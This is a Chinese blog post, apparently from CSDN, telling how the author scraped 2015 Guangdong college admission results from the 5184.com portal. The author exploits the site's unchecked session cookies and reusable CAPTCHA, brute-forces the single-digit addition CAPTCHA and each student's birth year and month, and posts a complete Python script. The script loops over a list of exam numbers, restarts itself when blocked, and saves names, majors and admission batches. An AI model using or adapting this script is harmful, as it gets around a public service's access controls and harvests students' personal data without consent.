Python抓取2015广东考生录取情况

前言

放假之前就一直想写个程序把母校的15届考生录取情况抓下来,可惜一直等也没有等到好(jian dan)的网站入口出现,所以只好硬着头皮去挑战5184…

开始

第一步!手动打开 “http://www.5184.com/gk“,发现:
要点击一下才能弹出输入框(然并卵)。
有验证码,验证码还有干扰线!
还有cookie!还是三个!看起来都很乱!
查询之后抓到的包,返回了json数据,还好都是明文传输。
登陆的包
返回数据

第二步!模拟打开页面。发现:
获取不了cookie!
怀疑会不会是用的库不对,把urllib换成了requests。
还是不能抓到cookie…

#-*- coding: utf-8 -*-
import requests
res = requests.get('http://www.5184.com/gk/')
print res.cookies

和渊同学交流许久后,两人都开始怀疑人生。
不一会儿渊同学发现一个提问里说到,Hm开头的cookie是百度广告的…我再看一下resource里确实是baidu.com的域…也就是说可以复制粘贴。

之后为了验证剩下的一个cookie“PHPSESSID”是否有用,就抓到切换验证码发的包,用浏览器在另一个标签再发一次。
也就是说,当前页面的验证码是没有变化的,比如原来是0+8=,现在还是显示0+8=,但服务器后台已经收到了我切换验证码的请求,并且给了我新的验证码图片,假设为2+3=。
如果cookie“PHPSESSID”是有效的,那么我的cookie已经和新的验证码绑定了,那么我如果要查询,就要输入新的验证码5。
测试结果发现确实和cookie“PHPSESSID”绑定了,是有用的cookie。

但是,它却获取不了…
无数只羊驼奔腾而过…那我就用现有的cookie试试发包。
使用requests的get函数的cookies参数,把抓包里的cookie都复制进去,然后获取验证码,人眼识别后模拟发包…
成功了!会不会是因为浏览器的页面还开着,那个cookie还没有过期?那这样要做出来不就不能推广了?毕竟看cookie不是谁都想做的…

想着想着我把代码里的cookie“PHPSESSID”删了一个字符…
再run一下…竟然…还是post 200了!!

原来…5184的cookie验证是随机生成一个cookie,并且没有后台注册!
也就是说,只要cookie没有什么奇怪的符号,并且获取验证码时的cookie和post时的cookie相同就可以了!
发现这一点之后…5184在我心目中神圣的形象瞬间崩塌,现在能维护它最后的尊严的就只有验证码了吧…

验证码

咳咳…我们来看看5184的验证码:
5184验证码地址
验证码
(这个验证码图片我直接给了个5184的链接…竟然也能显示…这后台做得是有多…)
咳咳,严肃一点来分析这个验证码。
1. 两个数字相加
2. 有干扰线
3. 有噪点
4. 对比度较高

综上,可以使用降噪,去除干扰线再识别的方法。
处理后的验证码图片长这样:
处理后的验证码
有部分粘连,有部分干扰线没有去除…
直接使用库识别的识别率不高…

把验证码放一边

突然想到,如果已经通过了验证(人眼识别验证码),那么可以发几次post查询呢?我在原有的一次post查询上加了新的一次,另一个人的post查询。
结果…成功了!5184的验证码不是一次性的…
(5184又默默地打了自己的脸一下…)

那好,验证码识别率低,那就人眼识别呗,反正能够多次用。

至于出生年月嘛…既然验证码可以重复用,那就可以暴力破解啦。

于是我把几百个考号放到列表里,手动输入验证码后开始跑了起来。刚开始的几十个人都跑出了结果,但是……突然连接被中断!requests报错“connection aborted”。
我的IP被封了吗?还是cookie被封了?
再次重启程序,没有更改cookie,更没有换IP…还是…继续跑了起来…
可能这就是5184的杀手锏吧…一个验证码只能用约500次post…
(后来实验发现有几千次的…可能是看运气吧…)
每个人暴力破解生日平均有近30次,也就是说每次手动输入验证码,就只能获取约20个人的录取情况。
这怎么行!一个年级有2000+人,难道要我手动输入100多次验证码吗?还要时时刻刻盯着看它几时崩…?

看来验证码这关一定要破了。

破解验证码

咳咳…可能已经被发现,小标题并不是“识别验证码”,而是“破解验证码”…
没错…又是一个漏洞…
首先:
1. 5184的cookie不会自动更换,没有后台注册。
2. 验证码与cookie绑定。
3. 验证码更换是前端做的事,比如说浏览器查询时,信息错误,后台只是将页面返回到查询页面,然后前端再发送更换验证码的请求。

综上我们能得到什么呢?程序模拟的时候没有前端啊!!验证码错了它也不会刷新啊!!
又只是一位数加一位数的加法呀!!就在 【0,18】 里取值而已啊!!最多不超过19次尝试啊!!

说完了,动手一试。
用已知的考号当作测试验证码的正确性的工具(控制变量法…),随机一个cookie,获取验证码之后开始暴力破解。
破解成功后存起来,开始查询录取信息。

简单吧?之后还是会有几十次查询结果后链接中断的情况出现。于是加了一个自动重生功能…崩了之后记录最后查询的考号,然后重生…随机新的cookie,新的验证码,暴力破解新的验证码,然后从断点继续查询…

昨晚散步前放它跑着,回来就把母校的跑完了…

咳咳…5184的验证码只要做成一次性的…那情况就大有不同咯。

最后贴个代码:

#-*- coding: utf-8 -*-

import requests,time,random

class GetData(object):
    #传入三个文件名,分别是所有考号的列表,没有查询到结果的列表,和已经完成的列表。
    #其中第一个是输入,其他两个作为输出,续写模式。
    def __init__(self, NumFile, NotDoneFile, DoneFile, LastOne=None):
        #随机一个cookie
        self.randomCookie()
        #从文件中读出考号,存到list里
        self.numberls = list()
        f = open(NumFile)
        for item in f.readlines():
            self.numberls.append(item.strip())
        f.close()
        #存下输出文件的名字,之后打开用
        self.NotDoneFileName = NotDoneFile
        self.DoneFileName = DoneFile
        #标记某个考生已经查询到结果
        self.flag = False
        #记录最后一个查询的考号,崩溃时重生用
        self.lastOne = str(LastOne)
        #验证码结果
        self.code = None

    #崩溃时把最后一个考号存起来,以防万一...
    def __del__(self):
        print "DELTET this object!"
        f = open('lastOne.txt','wb')
        f.write(self.lastOne)
        f.close()

    #随机一个cookie字符串,并且构造完整的cookies,header
    def randomCookie(self):
        l = [chr(x) for x in xrange(97,123)] + [chr(x) for x in xrange(48,58)]
        cookie = ''.join(random.sample(l,22)).replace(' ','')
        print 'Random cookie:',cookie
        time.sleep(3)
        self.psid = cookie
        self.cookies = {
            'PHPSESSID': self.psid,\
            'Hm_lvt_2be31ff7176cef646e9351788dc99055':'1437108237,1437197089,1437199631,1437541063',\
            'Hm_lpvt_2be31ff7176cef646e9351788dc99055':'1437542800',\
        }
        self.header = {
            'Accept':'application/json, text/javascript, */*; q=0.01',\
            'Accept-Encoding':'gzip, deflate',\
            'Accept-Language':'zh-CN,zh;q=0.8',\
            'Connection':'keep-alive',\
            'Content-Length':'31',\
            'Content-Type':'application/x-www-form-urlencoded',\
            'Host':'www.5184.com',\
            'Origin':'http://www.5184.com',\
            'Referer':'http://www.5184.com/gk/check_lq.html',\
            'User-Agent':'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36',\
            'X-Requested-With':'XMLHttpRequest',\
            'Cookie':'PHPSESSID=%s; Hm_lvt_2be31ff7176cef646e9351788dc99055=1437108237,1437197089,1437199631,1437541063; Hm_lpvt_2be31ff7176cef646e9351788dc99055=1437542800'% self.psid,\
        }
        return

    #刷新验证码
    def getCHA(self,name=None):
        print 'Getting code pic...'
        url = 'http://www.5184.com/gk/common/checkcode.php'
        res = requests.get(url,params={'r':'0.3591778995934874'},cookies=self.cookies)
        #f = file("%s.jpg"%name,'wb')
        #f.write(res.content)
        #f.close()
        print 'Got code!'
        return self.guessCHA()

    #暴力破解验证码,(考号被我打码了)
    def guessCHA(self):
        print "Begin to guess!"
        geussUrl = 'http://www.5184.com/gk/common/get_lq_edg.php'
        for c in xrange(0,19):
            #已知正确的考号、出生年月
            guessData = {
                'csny':'9**1',\
                'zkzh':'140****034',\
                'yzm':str(c),\
            }
            #发包,解码
            guessDic = requests.post(geussUrl,data=guessData,headers=self.header,cookies=self.cookies).json()
            #分析返回值,有result说明验证码正确。
            if 'result' in guessDic:
                #存储验证码
                self.code = str(c)
                print "Got CODE: %s! Ready to RUN!!!" % self.code
                time.sleep(3)
                return True
        print "Guess Fail..."
        return False

    #开始查询录取信息
    def getData(self):
        #把已经查询过的考号删掉。
        self.numberls = self.numberls[self.numberls.index(self.lastOne):]
        #打开输出文件
        self.NotDoneFile = open(self.NotDoneFileName,'a')
        self.DoneFile = open(self.DoneFileName,'a')
        posturl = 'http://www.5184.com/gk/common/get_lq_edg.php'
        birthdayYears = ('97', '96', '98', '95')
        birthdayMonth = ('01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12')
        #遍历考号列表,每次都存储为最后一个查询的。
        for number in self.numberls:
            self.flag = False
            self.lastOne = number
            print 'tyring: %s' % number
            #暴力猜测出生年月
            for year in birthdayYears:
                for month in birthdayMonth:
                    if self.flag:
                        continue
                    postData = {
                        'csny':year+month,\
                        'zkzh':number,\
                        'yzm':self.code,\
                    }
                    #尝试发包,如果崩了就返回最后一个考号给主函数。
                    try:
                        dic = requests.post(posturl,data=postData,headers=self.header,cookies=self.cookies).json()
                    except:
                        self.NotDoneFile.close()
                        self.DoneFile.close()
                        return (True,self.lastOne)
                    #如果查询到了结果就存储
                    if dic[u'flag']:
                        try:
                            dic = dic['result']
                            print u'~~~ ** Got Data!!! ** ~~~'
                            self.flag = True
                            str1 = '%s %s %s\n%s %s\n-------\n' % (dic['xm'],dic['zkzh'],dic['lbm'],dic['zymc'],dic['pcm'])
                            self.DoneFile.write(str1.encode("utf-8"))
                        except Exception,e:
                            print e
            #遍历完了都没有结果,说明系统里没有该考生的信息
            #存储该考号
            if not self.flag:
                print "** -- No Data! -- **"
                self.NotDoneFile.write(number+'\n')
        #关闭文件
        self.NotDoneFile.close()
        self.DoneFile.close()
        #返回给主函数,说明考号列表已经遍历完毕了。
        return (False,self.lastOne)

if __name__ == '__main__':
    #标记考号列表有没有遍历完
    isworking = True
    #输入最后一个查询的考号
    temLast = raw_input('LastOne is:')
    while(isworking):
        #构造一个新的对象,开始一轮查询,直到连接被中断
        try:
            l = GetData('numbers.txt','NotDone.txt','Done.txt')
            print "Build a new object!"
            l.lastOne = temLast
            if l.getCHA():
                #存储是否遍历完成和最后一个考号
                (isworking,temLast) = l.getData()
            else:
                #获取验证码失败(没有出现过...)
                print 'Got CHA Error!'
                continue
            try:
                temLast = l.lastOne
            except:
                print "Object was deleted..."
        #连接被中断(或其他崩坏),储存最后一个考号,准备下一次重生
        except Exception,e:
            print "lastOne:", l.lastOne
            print e
            temLast = l.lastOne
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值